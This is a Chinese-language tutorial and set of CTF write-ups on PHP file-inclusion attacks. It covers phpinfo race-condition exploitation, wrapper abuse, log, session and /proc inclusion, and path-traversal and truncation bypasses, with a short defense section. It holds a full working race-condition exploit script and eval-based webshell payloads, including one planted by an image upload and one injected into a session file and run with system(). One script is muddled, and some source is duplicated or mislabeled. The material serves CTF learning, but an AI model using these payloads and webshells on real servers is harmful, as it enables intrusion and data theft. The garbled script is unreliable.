目录
9.10 文件包含&奇技淫巧(5和7版本)
- 前言
- 最近遇到一些文件包含的题目,在本篇文章记录两个trick。
- 环境背景
- 复现环境还是很容易搭建的:
- 例题1(php7)
- index.php
<?php $a = @$_GET['file']; echo 'include $_GET[\'file\']'; if (strpos($a,'flag')!==false) { die('nonono'); } include $a; ?>
- dir.php
<?php $a = @$_GET['dir']; if(!$a){ $a = '/tmp'; } var_dump(scandir($a));
- 例题2(php5)
- index.php
<?php $a = @$_GET['file']; echo 'include $_GET[\'file\']'; if (strpos($a,'flag')!==false) { die('nonono'); } include $a; ?>
- phpinfo.php
<?php phpinfo(); ?>
- 两道题的最终目标都是拿到根目录的flag。
phpinfo+LFI
- 我们看到例题2:
- 我们有文件包含,那么我们可以轻易的用伪协议泄露源代码:
file=php://filter/read=convert.base64-encode/resource=index.php
- 这是老生常谈的问题,无需多讲,重点在于如何去读取根目录的flag。
- 最容易想到的是利用包含:
http://ip/index.php?file=/flag
- 但是由于:
if (strpos($a,'flag')!==false) { die('nonono'); }
- 我们并不能进行读取,那么很容易想到,尝试getshell。
- 这里我们可以介绍第一个trick,即利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。
- 我们简单写一个测试脚本:
import requests import io import re # 目标PHP文件上传处理的URL target_url = 'http://your-target-url/upload.php' # 目标URL中可能的会话ID,具体根据目标设置调整 sessid = 'your-session-id' # 创建一个会话对象 with requests.Session() as session: # 1. 上传文件以获取phpinfo信息,获取上传缓存路径 # 这里上传一个包含phpinfo()的文件 phpinfo_payload = '<?php phpinfo(); ?>' # 文件内容,50KB大小,确保能上传成功 file_data = io.BytesIO(b'a' * 1024 * 50) response = session.post( target_url, files={'file': ('phpinfo.php', file_data)}, data={'PHP_SESSION_UPLOAD_PROGRESS': phpinfo_payload}, cookies={'PHPSESSID': sessid} ) # 2. 从phpinfo的响应中提取上传缓存路径 # 解析phpinfo()输出中的路径 # 这里假设在响应中查找路径的正则表达式 match = re.search(r'Temporary directory\s*=>\s*(.*?)\s', response.text) if match: cache_dir = match.group(1).strip() print(f'上传缓存目录: {cache_dir}') # 3. 构造木马文件内容 # 在目标目录下创建一个木马文件 malicious_payload = '<?php echo "This is a backdoor"; ?>' # 上传木马文件到缓存目录 with io.BytesIO(malicious_payload.encode()) as malicious_file: # 构造POST请求上传木马文件 upload_response = session.post( target_url, files={'file': ('sky.php', malicious_file)}, data={'PHP_SESSION_UPLOAD_PROGRESS': 'phpinfo()'}, cookies={'PHPSESSID': sessid} ) print("木马文件sky.php上传成功。") print(f"请检查目标路径 {cache_dir} 是否存在 'sky.php' 文件。") else: print("无法从phpinfo()响应中提取上传缓存路径。")
- 这样一旦包含成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次利用直接轻松包含即可。
- 尝试进行exp编写:
#!/usr/bin/python import sys import threading import socket import time def setup(host, port): TAG = "Security Test" PAYLOAD = """%s\r <?php ?>\r""" % TAG REQ1_DATA = """-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding = "A" * 5000 REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """ + padding + """\r HTTP_ACCEPT_LANGUAGE: """ + padding + """\r HTTP_PRAGMA: """ + padding + """\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" % (len(REQ1_DATA), host, REQ1_DATA) # modify this to suit the LFI script LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i + 17:i + 44] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter = 0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter += 1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d += i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i + 10], i) # padded up a bit return i + 256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port = 80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz = 10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0, poolsz): tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__ == "__main__": main()
- 知道原理后,其实不存在多少条件竞争,最多尝试个10次左右就可以达成目的。
- 随后我们就可以轻松getshell:
LFI+php7崩溃(7.0-7.19之间)
- 前一题我们能做,得益于phpinfo的存在,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。
- 但如果目标不存在phpinfo,应该如何处理呢?
- 这里可以用php7 segment fault特性。
- 我们可以利用:
http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd
- 这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:
- 这样就能达成我们getshell的目的,脚本相对容易很多:
Example 2: 文件内容绕过
//test.php <?php show_source(__FILE__); include('flag.php'); $a= $_GET["a"]; if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ echo "success\n"; echo $flag; } //flag.php <?php $flag = ‘flag{flag_is_here}’; ?>
- 审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以可以使用php://input得到原始的post数据,访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行来进行绕过。 注:遇到file_get_contents()要想到用php://input绕过。
PHP://FILTER
- php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
- POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
Example 1:
<meta charset="utf8"> <!-- 设置网页的字符编码为 UTF-8 --> <?php error_reporting(0); // 关闭错误报告 $file = $_GET["file"]; // 从 URL 参数中获取 'file' 的值 // 如果 'file' 的值包含危险的输入,如 'php://input', 'zip://', 'phar://', 'data:',则退出并显示 'hacker!'。 if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ // 如果 'file' 参数存在且不为空 include($file); // 包含指定的文件 }else{ echo '<a href="?file=flag.php">tips</a>'; // 如果 'file' 参数为空,显示一个链接 } ?>
- 1.点击tip后进入,看到url中出现‘file=flag.php’,[图片无法加载出来,只能以链接形式展示]
- 2.尝试payload:?php://filter/resource=flag.php,发现无法显示容:
- 3.尝试payload:?php://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解码得flag在flag.php源码中的注释里:
ZIP://
- zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
- Example 1
//index.php <meta charset="utf8"> <!-- 设置网页字符编码为 UTF-8 --> <?php error_reporting(0); // 关闭错误报告 $file = $_GET["file"]; // 从 URL 参数中获取 'file' 的值 if (!$file) echo '<a href="?file=upload">upload?</a>'; // 如果 'file' 参数为空,显示一个链接,指向 'upload' 文件 // 检查 'file' 参数是否包含有潜在危险的输入,如果包含则输出 'hick?' 并退出 if(stristr($file,"input") || stristr($file, "filter") || stristr($file,"data")) { echo "hick?"; exit(); } else { include($file.".php"); // 如果 'file' 参数有效且不包含危险输入,则包含对应的 PHP 文件 } ?> <!-- flag在当前目录的某个文件中 --> //upload.php <meta charset="utf-8"> <!-- 设置网页字符编码为 UTF-8 --> <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="fupload" /> <!-- 文件上传字段 --> <input type="submit" value="upload!" /> <!-- 提交按钮 --> </form> you can upload jpg,png,zip....<br /> <?php if (isset($_FILES['fupload'])) { // 检查是否有文件上传 $uploaded_name = $_FILES['fupload']['name']; // 获取上传文件的原始文件名 $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); // 获取文件的扩展名 $uploaded_size = $_FILES['fupload']['size']; // 获取文件的大小 $uploaded_tmp = $_FILES['fupload']['tmp_name']; // 获取上传文件的临时存储路径 $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext; // 生成目标文件路径,包括随机的文件名 // 检查文件扩展名是否为 jpg, jpeg, png, zip,并且文件大小小于 100000 字节 if ((strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png" || strtolower($uploaded_ext) == "zip") && ($uploaded_size < 100000)) { if (!move_uploaded_file($uploaded_tmp, $target_path)) { // 尝试将上传的文件移动到目标路径 echo '<pre>upload error</pre>'; // 如果移动文件失败,则输出错误信息 } else { // 如果成功 echo "<pre>".dirname(__FILE__)."\\{$target_path} successfully uploaded!</pre>"; // 输出成功上传的文件路径 } } else { echo '<pre>you can upload jpg,png,zip....</pre>'; // 如果文件类型或大小不符合要求,输出提示信息 } } ?>
DATA://与PHAR://
- data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
- phar:// 有点类似zip://同样可以导致任意代码执行。
phar://中相对路径和绝对路径都可以使用
9.11
包含APACHE日志文件
- WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
- Apache运行后一般默认会生成两个日志文件:
- Windos下是access.log(访问日志)和error.log(错误日志)
- Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
- 如果访问一个不存在的资源时,如XXXX<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全期间,安装apache时尽量不要使用默认路径。
- 参考文章:
- 1.包含日志文件getshell
- 2.一道包含日志文件的CTF题
包含SESSION
- 可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
- 利用条件:
- 找到Session内的可控变量
- Session文件可读写,并且知道存储路径
- php的session文件的保存路径可以在phpinfo的session.save_path看到。 session常见存储路径:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。
- 参考文章:一道SESSION包含的CTF题
包含/PROC/SELF/ENVIRON
- proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
- 利用条件:
- - php以cgi方式运行,这样environ才会保持UA头。
- - environ文件存储位置已知,且environ文件可读。
- 参考文章:[proc / self / environ Injection]
包含临时文件
- php中上传文件,会创建临时文件。
- 在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
- 由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
- 另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
- 这个方法可以参考LFI With PHPInfo Assistance
- 类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup
包含/PROC/SELF/ENVIRON
- proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
- 利用条件:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。
- 参考文章:proc / self / environ Injection
包含上传文件
- 很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。
- 图片马的制作方式如下,在cmd控制台下输入:
进入1.jpg和2.php的文件目录后,执行: copy 1.jpg/b+2.php 3.jpg
- 将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
- 假设已经上传一句话图片木马到服务器,路径为`/upload/201811.jpg`
- 图片代码如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
- 然后访问URL:
http://www.xxxx.com/index.php?page=./upload/201811.jpg
,包含这张图片,将会在index.php
所在的目录下生成shell.php
其他包含姿势
包含SMTP(日志)
包含xss
9.12 文件包含漏洞的绕过方法
9.12.1 指定前缀绕过
目录遍历
- 使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php 测试代码如下:
<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file; <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
- 现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/flag.txt
- 则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。
编码绕过
- 服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
- 1.利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
- 2.二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
- 3.容器/服务器的编码方式
../
..%c0%af
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点) Apache Tomcat Directory Traversal
..\
..%c1%9c
9.12.2 指定后缀绕过
- 后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:
<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt"; <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
利用URL
- 在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。 可参考此文章:URI’s fragment
- 完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment 11
query
[访问参数]
?file=http://localhost:8081/phpinfo.php?
[拼接后]
?file=http://localhost:8081/phpinfo.php?.txt
- Example:(设在根目录下有flag2.txt文件)
fragment(
[访问参数]
?file=http://localhost:8081/phpinfo.php%23
[拼接后]
?file=http://localhost:8081/phpinfo.php#.txt
利用协议
- 利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。
zip://
[访问参数]
?file=zip://D:\zip.jpg%23phpinfo
[拼接后]
?file=zip://D:\zip.jpg#phpinfo.txt
phar://
[访问参数]
?file=phar://zip.zip/phpinfo
[拼接后]
?file=phar://zip.zip/phpinfo.txt
- Example: (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码
<?php phpinfo();?>
- 所以分别构造payload为:
`?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo` ?file=phar://../../php.zip/phpinfo
长度截断
- 利用条件:
php版本 < php 5.2.8
- 原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
- 利用方法:
只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)
?file=./././。。。省略。。。././shell.php 11
- 则指定的后缀.txt会在达到最大值后会被直接丢弃掉
%00截断
- 利用条件:
magic_quotes_gpc = Off
php版本 < php 5.3.4
- 利用方法:
直接在文件名的最后加上%00来截断指定的后缀名
?file=shell.php%00
- 注:据观察现在用到%00阶段的情况已经不多了
9.13 文件包含漏洞防御
allow_url_include和allow_url_fopen最小权限化
设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
白名单限制包含文件,或者严格过滤 .
9.14 一道CTF题:PHP文件包含(本题综合性较强)
- PHP文件包含 Session
Task
http://54.222.188.152:22589/
Solution
php伪协议读取源码
- 点击login,发现链接变为:
http://54.222.188.152:22589/index.php?action=login.php
- 推测文件包含。
login.php访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=login.php
- 得到login.php源码:
<?php // 如果表单提交了用户名和密码 if ($_POST['username'] && $_POST['password']) { require_once('config.php'); // 引入数据库配置文件 $username = $_POST['username']; // 获取用户名 $password = md5($_POST['password']); // 获取密码并进行 MD5 加密 // 尝试连接到数据库 $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname); // 如果连接失败,输出错误信息并退出 if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $mysqli->set_charset("utf8"); // 设置字符集为 UTF-8 // 准备 SQL 查询语句,检查用户名是否存在 $sql = "SELECT * FROM user WHERE username=?"; $stmt = $mysqli->prepare($sql); // 准备语句 $stmt->bind_param("s", $username); // 绑定参数 $stmt->bind_result($res_id, $res_username, $res_password); // 绑定结果变量 $stmt->execute(); // 执行查询 $stmt->store_result(); // 存储结果集 $count = $stmt->num_rows; // 获取结果集中行数 // 如果用户名已存在,提示用户 if ($count) { die('User name Already Exists'); } else { // 如果用户名不存在,准备插入新用户的 SQL 语句 $sql = "INSERT INTO user(username, password) VALUES(?, ?)"; $stmt = $mysqli->prepare($sql); // 准备语句 $stmt->bind_param("ss", $username, $password); // 绑定参数 $stmt->execute(); // 执行插入操作 echo 'Register OK!<a href="index.php">Please Login</a>'; // 注册成功提示 } $stmt->close(); // 关闭语句 $mysqli->close(); // 关闭数据库连接 } else { ?> <!DOCTYPE html> <html> <head> <title>Register</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <!-- 引入 Bootstrap 样式 --> <script src="static/jquery.min.js"></script> <!-- 引入 jQuery --> <script src="static/bootstrap.min.js"></script> <!-- 引入 Bootstrap 脚本 --> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px" class="span3"/> <!-- 用户名输入框 --> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <!-- 密码输入框 --> <button type="submit" class="btn btn-primary">REGISTER</button> <!-- 注册按钮 --> </form> </div> </body> </html> <?php } ?>
- register.php访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=register.php
register.php:
<?php // 如果表单提交了用户名和密码 if ($_POST['username'] && $_POST['password']) { require_once('config.php'); // 引入数据库配置文件 $username = $_POST['username']; // 获取用户名 $password = md5($_POST['password']); // 获取密码并进行 MD5 加密 // 尝试连接到数据库 $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname); // 如果连接失败,输出错误信息并退出 if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $mysqli->set_charset("utf8"); // 设置字符集为 UTF-8 // 准备 SQL 查询语句,检查用户名是否存在 $sql = "SELECT * FROM user WHERE username=?"; $stmt = $mysqli->prepare($sql); // 准备语句 $stmt->bind_param("s", $username); // 绑定参数 $stmt->bind_result($res_id, $res_username, $res_password); // 绑定结果变量 $stmt->execute(); // 执行查询 $stmt->store_result(); // 存储结果集 $count = $stmt->num_rows; // 获取结果集中行数 // 如果用户名已存在,提示用户 if ($count) { die('User name Already Exists'); } else { // 如果用户名不存在,准备插入新用户的 SQL 语句 $sql = "INSERT INTO user(username, password) VALUES(?, ?)"; $stmt = $mysqli->prepare($sql); // 准备语句 $stmt->bind_param("ss", $username, $password); // 绑定参数 $stmt->execute(); // 执行插入操作 echo 'Register OK!<a href="index.php">Please Login</a>'; // 注册成功提示 } $stmt->close(); // 关闭语句 $mysqli->close(); // 关闭数据库连接 } else { ?> <!DOCTYPE html> <html> <head> <title>Register</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <!-- 引入 Bootstrap 样式 --> <script src="static/jquery.min.js"></script> <!-- 引入 jQuery --> <script src="static/bootstrap.min.js"></script> <!-- 引入 Bootstrap 脚本 --> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px" class="span3"/> <!-- 用户名输入框 --> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <!-- 密码输入框 --> <button type="submit" class="btn btn-primary">REGISTER</button> <!-- 注册按钮 --> </form> </div> </body> </html> <?php } ?>
- config.php访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=config.php
config.php:
<?php $dbhost = 'localhost'; $dbuser = 'web'; $dbpass = 'webpass123'; $dbname = 'web'; ?>
index.php
<?php error_reporting(0); // 关闭错误报告,以免显示错误信息 session_start(); // 启动会话,使用 SESSION 变量来存储用户登录状态 // 如果 GET 请求中包含 'action' 参数 if (isset($_GET['action'])) { include $_GET['action']; // 动态加载指定的 PHP 文件 exit(); // 退出当前脚本的执行 } else { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <!-- 设置字符编码为 UTF-8 --> <title>Login</title> <!-- 网页标题 --> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- 响应式设计,适配不同设备 --> <link href="css/bootstrap.css" rel="stylesheet" media="screen"> <!-- 引入 Bootstrap 样式 --> <link href="css/main.css" rel="stylesheet" media="screen"> <!-- 引入自定义样式 --> </head> <body> <div class="container"> <!-- 使用 Bootstrap 的容器 --> <div class="form-signin"> <!-- 用于显示登录相关的表单 --> <?php if (isset($_SESSION['username'])) { ?> <!-- 如果会话中存在 'username',表示用户已登录 --> <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div> <a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";} else { ?> <!-- 如果会话中不存在 'username',表示用户未登录 --> <?php echo "<div class=\"alert alert-warning\">Please Login.</div> <a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a> <a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>"; } ?> </div> </div> </body> </html> <?php } ?>
- index.php源码:
代码审计[PS:前面给过注释了,此处不在注释了]
SQL注入?
- 往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。
- 看一下register.php,这里仅截取部分代码:
# register.php $mysqli->set_charset("utf8"); $sql = "select * from user where username=?"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("s", $username); $stmt->bind_result($res_id, $res_username, $res_password); $stmt->execute(); $stmt->store_result();
- 再看一下login.php:
# login.php $sql = "select password from user where username=?"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("s", $username); $stmt->bind_result($res_password); $stmt->execute(); $stmt->fetch();
- 这里都使用了PHP的PDO处理(忘记的同学可以回看顺便进行复习),因此这里存在sql注入的可能性很小。
Session
- 接着再看看,有哪些参数是可控的。
- 在login.php中:
# 第3行 session_start(); if($_SESSION['username']) { header('Location: index.php'); exit; } # 第8行 if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; # 第20行 $stmt->bind_result($res_password); # 第24行 if ($res_password == $password) { $_SESSION['username'] = base64_encode($username); header("location:index.php");
- 这里使用了session来保存用户会话,php手册中是这样描述的:
PHP 会将会话中的数据设置到
$_SESSION
变量中。当 PHP 停止的时候,它会自动读取
$_SESSION
中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。
- 考虑到变量
$username
是我们可控的,并且被设置到了$_SESSION
中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。关于session包含的相关知识,可以见这篇文章chybeta:PHP文件包含- 要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85
- 访问:
http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
- 这个
/var/lib/php5/
的session文件路径是测试出来的,常见的也就如chybeta:PHP文件包含中所述的几种。base64_encode
- 能包含,并且控制session文件,但要写入可用的payload,还需要绕过:
$_SESSION['username'] = base64_encode($username);
- 如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。
- 考虑一下base64的编码过程。比如编码abc。
未编码: abc 转成ascii码: 97 98 99 转成对应二进制(三组,每组8位): 01100001 01100010 01100011 重分组(四组,每组6位): 011000 010110 001001 100011 每组高位补零,变为每组8位:00011000 00010110 00001001 00100011 每组对应转为十进制: 24 22 9 35 查表得: Y W J j
- 考虑一下session的前缀:
username|s:12:"
,中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。- 由于16个字符,恰好满足一下条件:
16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0
- 也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
Get Flag
- 注册一个账号,比如:
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
- 其base64加密后的长度为128,大于100。
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=phpinfo(); 成功getshell。
- 访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');
小结
- 结合了几个知识点:
php文件包含:伪协议利用
php文件包含:包含session文件
php-session知识及序列化格式
base64的基本原理
roao